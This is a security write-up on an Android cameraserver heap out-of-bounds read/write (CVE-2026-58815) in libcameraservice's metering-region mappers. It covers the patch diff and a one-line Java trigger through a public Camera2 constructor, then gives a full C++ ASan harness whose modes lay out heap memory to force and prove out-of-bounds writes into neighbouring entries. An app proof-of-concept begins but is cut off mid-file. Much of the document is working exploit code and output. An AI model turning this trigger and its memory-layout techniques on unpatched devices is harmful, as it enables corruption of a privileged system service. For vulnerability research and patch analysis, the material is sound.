CVE Analysis · Android Security Bulletin · October 2026

The October 2026 Android Security Bulletin lists CVE-2026-58815 as a Framework EoP (High). Three coordinate mappers in libcameraservice iterated Camera2 metering-region arrays as 5-integer rectangles with the loop condition j < entry.count instead of j + 5 <= entry.count. A region array whose length isn't a multiple of 5 produces a heap out-of-bounds read and write in cameraserver, the privileged native process that owns every camera stream on the device. The interesting part is reachability: the "must be a multiple of 5" rule was never enforced outside the mapper loops, and a stock SDK app can smuggle a malformed array in through a public Camera2 API constructor. No reflection, no hidden APIs, just CAMERA permission. We reproduced it against the real AOSP sources (ASan fires in both the request and result paths), proved on-device reachability on the Android 17 emulator, and can explain exactly why the corruption is silent in production.

Discovered By

No external researcher credit is listed for CVE-2026-58815 (A-514726373) in the October 2026 Android Security Bulletin. The fix landed in frameworks/av as part of Google's ongoing hardening of the camera service's metadata-mapping code.

TL;DR

CVECVE-2026-58815 (A-514726373)
SeverityHigh, EoP: app → cameraserver (uid 1047) memory corruption
Componentframeworks/av → services/camera/libcameraservice/device3/: ZoomRatioMapper, DistortionMapper, RotateAndCropMapper
Root Causefor (j = 0; j < entry.count; j += 5) trusts metering-region arrays to be multiples of 5; nothing enforces it
ImpactHeap OOB read (gating) plus 4-int OOB write with partially attacker-influenced values, in cameraserver
AffectedAOSP 14–17, SPL < 2026-10-01; devices with zoom-ratio / distortion-correction / rotate-and-crop (modern multi-camera phones)
ReachabilityStock SDK app via new CaptureRequest.Key<>("android.control.aeRegions", int[].class); public constructor, no validation
Fixaff9120e, six one-token loop-condition changes

Background: What Is a Metering Region, and Who Remaps It?

Camera2's "tap to focus" zones (CONTROL_AE_REGIONS, CONTROL_AF_REGIONS, CONTROL_AWB_REGIONS) travel through the stack as flat integer arrays: five ints per rectangle, (xmin, ymin, xmax, ymax, weight) in the serialized metadata. The Java MeteringRectangle constructor takes (x, y, width, height, weight), but that is the API shape; on the wire the third and fourth ints are the (exclusive) bottom-right corner, which is exactly how the mapper's scaleRegion() treats them. When the camera HAL advertises features like zoom ratio (logical multi-camera zoom), distortion correction (ultrawide lenses), or rotate-and-crop, the camera service must translate those rectangles between the app's coordinate system and the sensor's. That translation happens in three small classes in device3/, executed by cameraserver on every capture request and every capture result.

Patch Analysis

The fix commit is six identical one-token changes, three files × both directions (request and result):

-        for (size_t j = 0; j < entry.count; j += 5) {
+        for (size_t j = 0; j + 5 <= entry.count; j += 5) {
             int32_t weight = entry.data.i32[j + 4];

Each loop reads the rectangle's weight at j + 4 and, if non-zero, writes four scaled coordinates back at j .. j + 3. With a 6-element array the second iteration (j = 5) reads i32[9], 12 bytes past the 24-byte payload, and then writes into i32[5..8], partly into the wrong field, partly clean past the end. The commit ships regression tests that demonstrate the exact trigger: a 6-element AE region array {10, 10, 100, 100, 50, 999}.

The Reachability Story: A Public Constructor Is All You Need

If you try the obvious thing, CaptureRequest.CONTROL_AE_REGIONS with a MeteringRectangle[], you can't build a malformed array; the typed API emits exactly 5 ints per rectangle. So is this only reachable from a malicious HAL? No. Reading CameraMetadataNative.java turned up a clean app-side path:

Key<int[]> rawKey = new CaptureRequest.Key<>("android.control.aeRegions", int[].class);
captureBuilder.set(rawKey, new int[]{10, 10, 100, 100, 50, 999});
  1. CaptureRequest.Key(String name, Class<T> type) is a public constructor, meant for vendor extensions, accepting any name/class pair.
  2. CameraMetadataNative.setBase() resolves the tag by name, so our int[] key lands on the real ANDROID_CONTROL_AE_REGIONS tag (TYPE_INT32).
  3. The marshaler is selected from the key's declared type: int[] gets the plain integer-array marshaler, bypassing MarshalQueryableMeteringRectangle entirely. 24 raw bytes go straight into the native metadata blob.
  4. Nowhere (Java framework, JNI, camera_metadata C library) is the count checked against the 5-tuple convention. The first code to "care" is the mapper loop, and it cared by reading out of bounds.

One line of Java, public API, CAMERA permission. This establishes an app-accessible memory-corruption vulnerability in a privileged service: the process that mediates all camera hardware. Triggering the corruption is not itself the privilege escalation; how far that trigger goes on a production device is what the rest of the article bounds, with harness results and device results kept separate.

Reproducing It: Harness and Evidence

We compiled the real ZoomRatioMapper.cpp, CameraMetadata.cpp, and camera_metadata.c from AOSP into an ASan harness, with the mapper setup ported from the fix's own regression test. Binder/parcel internals that the request path never touches are stubbed and dead-stripped; everything executed is genuine AOSP code.

Complete AddressSanitizer session for the request path: heap-buffer-overflow READ of size 4 in separateZoomFromCropLocked, ZoomRatioMapper.cpp:390, 4 bytes past the 160-byte metadata allocation, with shadow bytes and legend
The complete ASan session for the request path: the phantom iteration's weight read (ZoomRatioMapper.cpp:390) lands 4 bytes past the 160-byte metadata allocation, allocated at camera_metadata.c:254. Shadow bytes included for the heap-layout curious.

Both buggy loops fire (separateZoomFromCropLocked on the request path, combineZoomAndCropLocked on the request and result paths), and the patched build exits cleanly in every mode.

The host harness (driver.cpp)

The full driver, with five trigger modes. The part worth studying is the buffer sizing in makeTightRequestMetadata(): the camera_metadata blob is allocated with exact capacities so the 6-int AE payload ends flush against the single heap allocation. That puts the mapper's OOB weight read in the ASan redzone instead of the blob's zeroed slack. The fifth mode (xentry) is the OOB write proof, covered in its own section below:

/*
 * ASan PoC driver for CVE-2026-58815 — ZoomRatioMapper metering-region
 * heap OOB read/write (Android cameraserver, frameworks/av
 * services/camera/libcameraservice/device3/ZoomRatioMapper.cpp).
 *
 * The vulnerable loops iterate metering-region int arrays as 5-int
 * rectangles:
 *
 *   for (size_t j = 0; j < entry.count; j += 5) {
 *       int32_t weight = entry.data.i32[j + 4];   // OOB read  if count%5!=0
 *       if (weight == 0) continue;
 *       scaleRegion(entry.data.i32 + j, ...);     // OOB write to i32[j..j+3]
 *   }
 *
 * The fix changes the condition to `j + 5 <= entry.count`.
 *
 * Modes (argv[1]):
 *   request         - updateCaptureRequest, separateZoomFromCropLocked
 *                     (loop #1, ZoomRatioMapper.cpp:389 vuln). HAL supports
 *                     zoomRatio natively (regression-test configuration).
 *                     Tight metadata buffer -> ASan heap-buffer-overflow.
 *   request-combine - updateCaptureRequest, combineZoomAndCropLocked
 *                     (loop #2, ZoomRatioMapper.cpp:427 vuln). HAL does not
 *                     support zoomRatio, request carries ZOOM_RATIO=2.0.
 *                     Tight metadata buffer -> ASan heap-buffer-overflow.
 *   result          - updateCaptureResult, combineZoomAndCropLocked
 *                     (loop #2 with isResult=true). Tight buffer.
 *   functional      - faithful port of the upstream regression test
 *                     ZoomRatioTest.MeteringRegionsBoundsTest using
 *                     CameraMetadata::update + poison pattern. No ASan fault
 *                     expected (capacity slack); detects the bug via value
 *                     corruption of the weight slot (i32[5] != 999).
 *   xentry          - request path with the AE payload immediately followed
 *                     by AE_TARGET_FPS_RANGE's payload in the data area.
 *                     The phantom iteration's weight read lands on the
 *                     neighbor entry's bytes (in-bounds of the allocation,
 *                     nonzero), so scaleRegion fires and its 4-int write
 *                     lands past the AE payload, corrupting the adjacent
 *                     live entry. Deterministic functional proof of the OOB
 *                     write, which the tight-buffer modes can never show
 *                     under ASan (the gating OOB read faults first).
 *
 * camera_metadata buffer layout (from the real system/media
 * camera/src/camera_metadata.c):
 *   [camera_metadata_t (48B)] [entries 16B each, 4-aligned]
 *   [data area, 8-aligned start] ... padded to 8 (METADATA_PACKET_ALIGNMENT)
 * The whole packet is ONE calloc() allocation, and the data area is its last
 * component. Entry payloads of <=4 bytes are stored inline in the entry;
 * larger ones go into the data area. Making the data capacity exactly fit
 * the payloads puts the last payload flush against the allocation's end
 * (modulo <=7B packet padding), so the OOB access lands in the ASan
 * redzone.
 */

#include <cstdio>
#include <cstdlib>
#include <cstring>

#include <utils/Errors.h>
#include <system/camera_metadata.h>

#include "device3/ZoomRatioMapper.h"

using namespace android;
using namespace android::camera3;

namespace {

constexpr int32_t testActiveArraySize[] = {100, 100, 1024, 768};
constexpr int32_t testPreCorrActiveArraySize[] = {90, 90, 1044, 788};

// Ported from ZoomRatioTest.cpp (setupTestMapper).
status_t setupTestMapper(ZoomRatioMapper *m, float maxDigitalZoom,
        const int32_t activeArray[4], const int32_t preCorrectArray[4],
        bool hasZoomRatioRange, float zoomRatioRange[2],
        bool usePreCorrectArray) {
    CameraMetadata deviceInfo;

    deviceInfo.update(ANDROID_SENSOR_INFO_ACTIVE_ARRAY_SIZE, activeArray, 4);
    deviceInfo.update(ANDROID_SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE,
            preCorrectArray, 4);
    deviceInfo.update(ANDROID_SCALER_AVAILABLE_MAX_DIGITAL_ZOOM,
            &maxDigitalZoom, 1);
    if (hasZoomRatioRange) {
        deviceInfo.update(ANDROID_CONTROL_ZOOM_RATIO_RANGE, zoomRatioRange, 2);
    }

    bool supportNativeZoomRatio;
    status_t res = ZoomRatioMapper::overrideZoomRatioTags(&deviceInfo,
            &supportNativeZoomRatio);
    if (res != OK) {
        return res;
    }

    *m = ZoomRatioMapper(&deviceInfo, hasZoomRatioRange, usePreCorrectArray);
    return OK;
}

ZoomRatioMapper makeMapper(bool hasZoomRatioRange) {
    ZoomRatioMapper mapper;
    float zoomRatioRange[2] = {1.0f, 4.0f};
    status_t res = setupTestMapper(&mapper, 4.0f/*maxDigitalZoom*/,
            testActiveArraySize, testPreCorrActiveArraySize,
            hasZoomRatioRange, zoomRatioRange, false/*usePreCorrectArray*/);
    if (res != OK || !mapper.isValid()) {
        fprintf(stderr, "setupTestMapper failed: res=%d valid=%d\n", res,
                mapper.isValid());
        exit(2);
    }
    return mapper;
}

void dumpLayout(const char* label, const camera_metadata_t* raw) {
    camera_metadata_ro_entry_t ae;
    if (find_camera_metadata_ro_entry(raw, ANDROID_CONTROL_AE_REGIONS,
            &ae) != 0) {
        fprintf(stderr, "[%s] no AE_REGIONS entry\n", label);
        return;
    }
    uintptr_t base = reinterpret_cast<uintptr_t>(raw);
    uintptr_t data = reinterpret_cast<uintptr_t>(ae.data.i32);
    fprintf(stderr,
            "[%s] metadata size=%zu entryCount=%zu dataCount=%zu "
            "dataCap=%zu | AE payload at +%td..+%td (end of payload), "
            "OOB weight read at +%td\n",
            label, get_camera_metadata_size(raw),
            get_camera_metadata_entry_count(raw),
            get_camera_metadata_data_count(raw),
            get_camera_metadata_data_capacity(raw),
            (ptrdiff_t)(data - base),
            (ptrdiff_t)(data - base + ae.count * sizeof(int32_t)),
            (ptrdiff_t)(data - base + (5 + 4) * sizeof(int32_t)));
}

// Adopt a raw buffer into a CameraMetadata (takes ownership).
CameraMetadata adopt(camera_metadata_t* buf) {
    return CameraMetadata(buf);
}

// Build the trigger metadata with EXACT capacities so that the 6-int AE
// region payload is the last thing in the single heap allocation.
//
// Order matters: CROP first (16B data), then AE (24B data) so the AE
// payload sits at the end of the data area. ZOOM_RATIO (float[1]) is stored
// inline in its entry and consumes no data bytes.
CameraMetadata makeTightRequestMetadata(const char* label,
        bool includeZoomRatioEntry,
        float zoomRatio, size_t entryCap, size_t dataCap) {
    // 2.0x zoom crop, same as the regression test (so that
    // separateZoomFromCropLocked derives a non-1 zoom ratio and scales).
    int32_t scalerCropRegion[] = {
            testActiveArraySize[0] + testActiveArraySize[2] / 4,   // 356
            testActiveArraySize[1] + testActiveArraySize[3] / 4,   // 292
            testActiveArraySize[2] / 2,                            // 512
            testActiveArraySize[3] / 2,                            // 384
    };
    // 6 ints: one valid 5-int rect {x,y,w,h,weight} + a trailing weight-only
    // element (999). count % 5 == 1 -> second loop iteration reads
    // i32[9] (12B past payload end) and writes i32[5..8].
    int32_t aeRegions[] = {10, 10, 100, 100, 50, 999};

    camera_metadata_t* buf = allocate_camera_metadata(entryCap, dataCap);
    if (buf == nullptr) {
        fprintf(stderr, "allocate_camera_metadata failed\n");
        exit(2);
    }
    if (add_camera_metadata_entry(buf, ANDROID_SCALER_CROP_REGION,
                scalerCropRegion, 4) != 0) {
        fprintf(stderr, "add CROP_REGION failed\n");
        exit(2);
    }
    if (add_camera_metadata_entry(buf, ANDROID_CONTROL_AE_REGIONS,
                aeRegions, 6) != 0) {
        fprintf(stderr, "add AE_REGIONS failed\n");
        exit(2);
    }
    if (includeZoomRatioEntry) {
        if (add_camera_metadata_entry(buf, ANDROID_CONTROL_ZOOM_RATIO,
                &zoomRatio, 1) != 0) {
            fprintf(stderr, "add ZOOM_RATIO failed\n");
            exit(2);
        }
    }
    dumpLayout(label, buf);
    return adopt(buf);
}

// ---------------------------------------------------------------------------
// Mode: request (separateZoomFromCropLocked, loop #1)
//
// Regression-test configuration: device has zoomRatioRange {1,4} so
// mHalSupportsZoomRatio=true; request has ZOOM_RATIO=1.0 ->
// updateCaptureRequest takes the separateZoomFromCropLocked branch, whose
// first vulnerable loop (ZoomRatioMapper.cpp:389) iterates AE_REGIONS.
//
// Buffer sizing: separateZoomFromCropLocked calls
// update(ANDROID_CONTROL_ZOOM_RATIO) BEFORE the loop. CameraMetadata::update
// unconditionally reserves space for 1 extra entry + the payload via
// resizeIfNeeded, so we pre-add the ZOOM_RATIO entry and leave exactly 1
// spare entry and 4 spare data bytes: entries 3/4, data 40/44 -> no
// reallocation, and the AE payload stays 12B from the data-area end (the
// loop's OOB weight read hits the redzone 4B past the 8-aligned packet end).
// ---------------------------------------------------------------------------
int runRequestSeparate() {
    ZoomRatioMapper mapper = makeMapper(true/*hasZoomRatioRange*/);
    CameraMetadata metadata = makeTightRequestMetadata(
            "request/separate",
            true/*includeZoomRatioEntry*/, 1.0f/*zoomRatio*/,
            4/*entryCap*/, 44/*dataCap*/);

    fprintf(stderr, "[request/separate] calling updateCaptureRequest\n");
    status_t res = mapper.updateCaptureRequest(&metadata);
    fprintf(stderr, "[request/separate] updateCaptureRequest returned %d\n",
            res);

    camera_metadata_entry_t entry = metadata.find(ANDROID_CONTROL_AE_REGIONS);
    fprintf(stderr, "[request/separate] AE count=%zu i32[5]=%d "
            "(999 = untouched)\n", entry.count,
            entry.count == 6 ? entry.data.i32[5] : -1);
    return (res == OK) ? 0 : 3;
}

// ---------------------------------------------------------------------------
// Mode: request-combine (combineZoomAndCropLocked, loop #2)
//
// Device WITHOUT zoomRatioRange -> supportNativeZoomRatio=false ->
// mHalSupportsZoomRatio=false. Request carries ZOOM_RATIO=2.0 ->
// updateCaptureRequest takes combineZoomAndCropLocked, whose region loop
// (ZoomRatioMapper.cpp:427) runs BEFORE any metadata mutation, so an
// exactly-sized buffer (entries 3/3, data 40/40, AE payload ends flush with
// the allocation end) puts the OOB read 12B into the redzone.
// ---------------------------------------------------------------------------
int runRequestCombine() {
    ZoomRatioMapper mapper = makeMapper(false/*hasZoomRatioRange*/);
    CameraMetadata metadata = makeTightRequestMetadata(
            "request/combine",
            true/*includeZoomRatioEntry*/, 2.0f/*zoomRatio*/,
            3/*entryCap*/, 40/*dataCap*/);

    fprintf(stderr, "[request/combine] calling updateCaptureRequest\n");
    status_t res = mapper.updateCaptureRequest(&metadata);
    fprintf(stderr, "[request/combine] updateCaptureRequest returned %d\n",
            res);

    camera_metadata_entry_t entry = metadata.find(ANDROID_CONTROL_AE_REGIONS);
    fprintf(stderr, "[request/combine] AE count=%zu i32[5]=%d "
            "(999 = untouched)\n", entry.count,
            entry.count == 6 ? entry.data.i32[5] : -1);
    return (res == OK) ? 0 : 3;
}

// ---------------------------------------------------------------------------
// Mode: result (combineZoomAndCropLocked with isResult=true, loop #2)
//
// HAL supports zoomRatio; the HAL-side result has no ZOOM_RATIO (or it is
// 1.0) -> updateCaptureResult(result, zoomMethodIsRatio=false,
// zoomRatioIs1=true) -> useZoomRatio=false -> combineZoomAndCropLocked(
// isResult=true). zoomRatio defaults to 1.0f, regions are unscaled by 1.0
// (still written), and the loop runs before the trailing ZOOM_RATIO update.
// ---------------------------------------------------------------------------
int runResultCombine() {
    ZoomRatioMapper mapper = makeMapper(true/*hasZoomRatioRange*/);
    CameraMetadata metadata = makeTightRequestMetadata(
            "result/combine",
            false/*includeZoomRatioEntry*/, 1.0f,
            2/*entryCap*/, 40/*dataCap*/);

    fprintf(stderr, "[result/combine] calling updateCaptureResult\n");
    status_t res = mapper.updateCaptureResult(&metadata,
            false/*zoomMethodIsRatio*/, true/*zoomRatioIs1*/);
    fprintf(stderr, "[result/combine] updateCaptureResult returned %d\n", res);

    camera_metadata_entry_t entry = metadata.find(ANDROID_CONTROL_AE_REGIONS);
    fprintf(stderr, "[result/combine] AE count=%zu i32[5]=%d "
            "(999 = untouched)\n", entry.count,
            entry.count == 6 ? entry.data.i32[5] : -1);
    return (res == OK) ? 0 : 3;
}

// ---------------------------------------------------------------------------
// Mode: functional — verbatim port of ZoomRatioTest.MeteringRegionsBoundsTest
// (the regression test added by the fix). Uses CameraMetadata::update with
// the poison-then-shrink pattern. Because resizeIfNeeded doubles capacities,
// the OOB accesses stay inside the allocation and ASan stays silent; the bug
// is detected functionally: on the vulnerable build the stale poison weight
// (50) makes the loop run a second iteration and scaleRegion overwrites
// i32[5] (the 999 slot).
// ---------------------------------------------------------------------------
int runFunctional() {
    ZoomRatioMapper mapper = makeMapper(true/*hasZoomRatioRange*/);

    CameraMetadata metadata;
    // Set scalerCropRegion to 2.0x so that updateCaptureRequest modifies
    // the aeRegions.
    int32_t scalerCropRegion[] = {
            testActiveArraySize[0] + testActiveArraySize[2] / 4,
            testActiveArraySize[1] + testActiveArraySize[3] / 4,
            testActiveArraySize[2] / 2,
            testActiveArraySize[3] / 2,
    };
    metadata.update(ANDROID_SCALER_CROP_REGION, scalerCropRegion, 4);
    // First set aeRegions to a poison value so that the OOB read returns a
    // non-0 value.
    int32_t aeRegionsPoison[] = {10, 10, 100, 100, 50,
                                 20, 20, 200, 200, 50};
    metadata.update(ANDROID_CONTROL_AE_REGIONS, aeRegionsPoison, 10);
    // Set aeRegions to a smaller array to check for OOB read/write.
    int32_t aeRegions[] = {10, 10, 100, 100, 50, 999};
    metadata.update(ANDROID_CONTROL_AE_REGIONS, aeRegions, 6);

    status_t res = mapper.updateCaptureRequest(&metadata);

    camera_metadata_entry_t entry = metadata.find(ANDROID_CONTROL_AE_REGIONS);
    bool countOk = (entry.count == 6);
    int32_t weightSlot = countOk ? entry.data.i32[5] : -1;
    bool corrupted = countOk && (weightSlot != 999);

    fprintf(stderr, "[functional] res=%d count=%zu i32[5]=%d\n", res,
            entry.count, weightSlot);
    if (res != OK || !countOk) {
        fprintf(stderr, "[functional] unexpected failure\n");
        return 3;
    }
    if (corrupted) {
        fprintf(stderr, "[functional] BUG REPRODUCED: weight slot i32[5] "
                "overwritten (%d != 999) by OOB scaleRegion write\n",
                weightSlot);
    } else {
        fprintf(stderr, "[functional] CLEAN: i32[5] == 999 (loop bounded)\n");
    }
    // Exit 0 on clean, 42 on reproduced-corruption so scripts can tell.
    return corrupted ? 42 : 0;
}

// ---------------------------------------------------------------------------
// Mode: xentry — functional proof of the OOB WRITE via adjacent-entry
// corruption (request path, separateZoomFromCropLocked, loop #1).
//
// Data-area layout (payloads appended in add order):
//   AE_REGIONS             int32[6] -> 24B at data+0   {10,10,100,100,50,999}
//   AE_TARGET_FPS_RANGE    int32[2] ->  8B at data+24  {30,30}
//   COLOR_CORRECTION_GAINS float[4] -> 16B at data+32  {1.0,1.0,1.0,1.0}
//   SCALER_CROP_REGION     int32[4] -> 16B at data+48  (2x zoom crop)
//
// The phantom iteration (j=5) of the AE loop reads its weight at AE
// i32[9] == GAINS[1] == 0x3F800000 (nonzero; in-bounds of the allocation,
// so ASan stays silent), and scaleRegion() then writes 4 ints at AE
// i32[5..8]:
//   i32[5] = AE's trailing element (999, still within the declared count)
//   i32[6] = FPS_RANGE min  \
//   i32[7] = FPS_RANGE max   > past the AE payload: the OOB write
//   i32[8] = GAINS[0]       /
// FPS_RANGE is never touched by ZoomRatioMapper, so a changed value after
// the call can only have come from the phantom write. (The neighbor cannot
// be another metering region: AF is scaled by its own loop before AE is
// processed, which zeroes the gate word.)
// ---------------------------------------------------------------------------
int runXentryCorruption() {
    ZoomRatioMapper mapper = makeMapper(true/*hasZoomRatioRange*/);

    // 2.0x zoom crop, as in the regression test, so the mapper derives a
    // non-1 zoom ratio and scaleRegion actually rewrites the coordinates.
    int32_t scalerCropRegion[] = {
            testActiveArraySize[0] + testActiveArraySize[2] / 4,   // 356
            testActiveArraySize[1] + testActiveArraySize[3] / 4,   // 292
            testActiveArraySize[2] / 2,                            // 512
            testActiveArraySize[3] / 2,                            // 384
    };
    int32_t aeRegions[] = {10, 10, 100, 100, 50, 999};
    int32_t fpsRange[] = {30, 30};
    float colorGains[] = {1.0f, 1.0f, 1.0f, 1.0f};
    float zoomRatio = 1.0f;

    // Spare capacity (1 entry + 4 data bytes) so the mapper's internal
    // ZOOM_RATIO update writes in place instead of repacking the blob.
    camera_metadata_t* buf = allocate_camera_metadata(6/*entryCap*/, 68/*dataCap*/);
    if (buf == nullptr) {
        fprintf(stderr, "allocate_camera_metadata failed\n");
        exit(2);
    }
    // Add order sets the data-area layout: AE, FPS, GAINS, CROP. (ZOOM_RATIO
    // is stored inline in its entry and consumes no data bytes.)
    if (add_camera_metadata_entry(buf, ANDROID_CONTROL_AE_REGIONS,
                aeRegions, 6) != 0 ||
        add_camera_metadata_entry(buf, ANDROID_CONTROL_AE_TARGET_FPS_RANGE,
                fpsRange, 2) != 0 ||
        add_camera_metadata_entry(buf, ANDROID_COLOR_CORRECTION_GAINS,
                colorGains, 4) != 0 ||
        add_camera_metadata_entry(buf, ANDROID_SCALER_CROP_REGION,
                scalerCropRegion, 4) != 0 ||
        add_camera_metadata_entry(buf, ANDROID_CONTROL_ZOOM_RATIO,
                &zoomRatio, 1) != 0) {
        fprintf(stderr, "add_camera_metadata_entry failed\n");
        exit(2);
    }
    CameraMetadata metadata = adopt(buf);

    camera_metadata_entry_t fps0 =
            metadata.find(ANDROID_CONTROL_AE_TARGET_FPS_RANGE);
    fprintf(stderr, "[xentry] before: aeTargetFpsRange = {%d, %d}\n",
            fps0.data.i32[0], fps0.data.i32[1]);

    status_t res = mapper.updateCaptureRequest(&metadata);

    camera_metadata_entry_t fps1 =
            metadata.find(ANDROID_CONTROL_AE_TARGET_FPS_RANGE);
    camera_metadata_entry_t gains1 =
            metadata.find(ANDROID_COLOR_CORRECTION_GAINS);
    camera_metadata_entry_t ae1 = metadata.find(ANDROID_CONTROL_AE_REGIONS);
    camera_metadata_entry_t zr1 = metadata.find(ANDROID_CONTROL_ZOOM_RATIO);
    fprintf(stderr, "[xentry] updateCaptureRequest returned %d\n", res);
    if (zr1.count == 1) {
        fprintf(stderr, "[xentry] mapper-derived zoomRatio = %f\n",
                zr1.data.f[0]);
    }
    fprintf(stderr, "[xentry] after:  aeTargetFpsRange = {%d, %d} "
            "(was {30, 30})\n", fps1.data.i32[0], fps1.data.i32[1]);
    fprintf(stderr, "[xentry] after:  aeRegions i32[5] = %d "
            "(999 = untouched)\n", ae1.count == 6 ? ae1.data.i32[5] : -1);
    if (gains1.count == 4) {
        const int32_t* g = reinterpret_cast<const int32_t*>(gains1.data.f);
        fprintf(stderr, "[xentry] after:  colorCorrectionGains raw bits = "
                "{0x%08x, 0x%08x, 0x%08x, 0x%08x} (was all 0x3f800000)\n",
                g[0], g[1], g[2], g[3]);
    }

    if (res != OK) {
        fprintf(stderr, "[xentry] unexpected failure\n");
        return 3;
    }
    bool corrupted = fps1.count == 2 &&
            (fps1.data.i32[0] != 30 || fps1.data.i32[1] != 30);
    if (corrupted) {
        fprintf(stderr, "[xentry] BUG REPRODUCED: phantom iteration wrote "
                "past the AE payload and corrupted the adjacent "
                "aeTargetFpsRange entry\n");
    } else {
        fprintf(stderr, "[xentry] CLEAN: aeTargetFpsRange untouched "
                "(loop bounded)\n");
    }
    // Exit 0 on clean, 42 on reproduced-corruption so scripts can tell.
    return corrupted ? 42 : 0;
}

} // namespace

int main(int argc, char** argv) {
    const char* mode = (argc > 1) ? argv[1] : "request";
    if (strcmp(mode, "request") == 0) {
        return runRequestSeparate();
    } else if (strcmp(mode, "request-combine") == 0) {
        return runRequestCombine();
    } else if (strcmp(mode, "result") == 0) {
        return runResultCombine();
    } else if (strcmp(mode, "functional") == 0) {
        return runFunctional();
    } else if (strcmp(mode, "xentry") == 0) {
        return runXentryCorruption();
    }
    fprintf(stderr, "usage: %s [request|request-combine|result|functional|xentry]\n",
            argv[0]);
    return 2;
}

The Subtle Part: Why Google's Test Isn't an ASan Test

A CameraMetadata packet is a single contiguous calloc'd blob with doubled capacity slack, and update() re-appends a shrunken entry instead of shrinking it in place. With a plain update sequence, the OOB read lands in zeroed slack inside the same allocation: weight == 0, the loop continues, nothing crashes. That's why Google's regression test first writes a 10-element poison array and then the 6-element array: the stale poison word makes the OOB read non-zero so the buggy write executes, and the test asserts on the surviving value. It's a functional corruption check.

Our harness reproduces both regimes: the silent intra-blob corruption (a functional run shows the mapper rewriting a live weight field 999 → 1023, the zoom-clamped x coordinate, derived from out-of-bounds reads) and, with the payload packed flush against the allocation end, the ASan-visible heap overflow.

Proving the OOB Write: Corrupting the Neighboring Entry

The tight-buffer runs prove the OOB read, but ASan can never show the write in that layout: the weight read is always the furthest access, and it faults before scaleRegion() stores anything. The write also only happens when the read comes back non-zero. So for the write proof we take the redzone away and put live entries there instead. The xentry mode packs the blob so the malformed AE payload is immediately followed by aeTargetFpsRange and colorCorrectionGains, two entries the zoom mapper never touches:

data area: [ AE_REGIONS int32[6] ][ FPS_RANGE int32[2] ][ GAINS float[4] ][ CROP ... ]
index:      0  1  2  3  4   5        6=min    7=max        8       9
                             ^        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                             |        phantom scaleRegion() writes i32[5..8],
                             |        i.e. 3 ints past the AE payload
                             trailing element (999)
gate: phantom iteration j=5 reads its weight at i32[9] = GAINS[1] = 0x3f800000 (nonzero)

The gate read returns a non-zero word belonging to the neighboring entry (in-bounds of the allocation, so ASan stays quiet), and the phantom scaleRegion() call lands its 4-int write past the AE payload: the trailing element, both FPS range values, and the first gain. With the 2x crop, the mapper derives zoomRatio 1.315, so the phantom rectangle {999, 30, 30, 1065353216} (that last value is 1.0f read as an int) is scaled and clamped straight into the live entries:

[xentry] before: aeTargetFpsRange = {30, 30}
[xentry] updateCaptureRequest returned 0
[xentry] mapper-derived zoomRatio = 1.315068
[xentry] after:  aeTargetFpsRange = {0, 1023} (was {30, 30})
[xentry] after:  aeRegions i32[5] = 1023 (999 = untouched)
[xentry] after:  colorCorrectionGains raw bits = {0x00000300, 0x3f800000, 0x3f800000, 0x3f800000} (was all 0x3f800000)
[xentry] BUG REPRODUCED: phantom iteration wrote past the AE payload and
         corrupted the adjacent aeTargetFpsRange entry

aeTargetFpsRange goes from {30, 30} to {0, 1023}: the app asked for 30 fps, and the mapper's out-of-bounds write rewrote the request to 0..1023 fps before it ever reached the HAL. The patched build leaves every entry untouched. One subtlety we discovered while building this: the neighbor cannot be another metering region, because the mapper processes AF before AE, and AF's own loop clamps the candidate gate word to zero first. A payload the mapper never rewrites keeps the gate non-zero.

This is also the right mental model for what would happen if a real blob ever packs a live payload right after a malformed region array: the phantom write corrupts that neighbor, exactly as xentry demonstrates. Whether cameraserver's rebuilt blobs ever look like that on a production device is a separate question, and it is the one the on-device sweep answers next.

On-Device Results: Reachability Proven, Corruption Not Observed

We ran the app-level PoC on the Android emulator (sdk_gphone16k_arm64, Android 17, SPL 2026-07-05, pre-patch): a 12 KB SDK-only APK that opens the zoom-capable emulated camera and streams repeating requests with malformed metering-region arrays. A variant flag sweeps array lengths 6 through 16 with a distinct marker in every trailing slot and groomed neighbor values; the dumps below come from that app.

The app PoC (MainActivity.java)

The whole trigger is stock SDK. Pick a camera whose HAL advertises a zoom ratio range, set a 2x crop region so the mapper derives a non-1 zoom ratio, poison-then-shrink the region entries (the same trick as Google's regression test, so the phantom iteration's OOB weight read comes back non-zero), and set the malformed arrays through raw Key<int[]> handles:

package com.mhl.cve202658815;

import android.Manifest;
import android.app.Activity;
import android.content.pm.PackageManager;
import android.graphics.Rect;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CaptureRequest;
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.TotalCaptureResult;
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import android.util.Range;
import android.widget.TextView;

import java.util.Arrays;
import java.util.Collections;

/**
 * CVE-2026-58815 PoC: malformed metering-region array (count % 5 != 0) sent
 * through the public CaptureRequest.Key(String, Class) escape hatch reaches
 * libcameraservice's ZoomRatioMapper loop, which reads/writes past the
 * camera_metadata entry payload in the cameraserver process.
 *
 * Trigger: HAL-native zoomRatioRange + app crop region (2x) -> request path
 * runs separateZoomFromCropLocked() over AE/AF/AWB regions.
 *
 * Variants (launch with "--ei variant N"):
 *   1 - baseline: AE/AF/AWB int[6], marker 0x5c5c0005 (was 0x5c5c5c5c)
 *   2 - AE only, int[7],  groomed fpsRange + colorGains neighbors
 *   3 - AE only, int[11], groomed neighbors
 *   4 - AE only, int[16], groomed neighbors
 * Trailing slots carry per-slot markers 0x5c5c00NN so a dumpsys diff shows
 * exactly which slot the phantom iteration rewrote, if any.
 */
public class MainActivity extends Activity {
    private static final String TAG = "CVE58815";

    private TextView mStatus;
    private HandlerThread mThread;
    private Handler mHandler;
    private CameraDevice mCamera;
    private volatile int mCompleted = 0;
    private int mVariant = 1;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mVariant = getIntent().getIntExtra("variant", 1);
        mStatus = new TextView(this);
        mStatus.setPadding(40, 200, 40, 40);
        mStatus.setTextSize(16);
        setContentView(mStatus);

        mThread = new HandlerThread("cam");
        mThread.start();
        mHandler = new Handler(mThread.getLooper());

        if (checkSelfPermission(Manifest.permission.CAMERA)
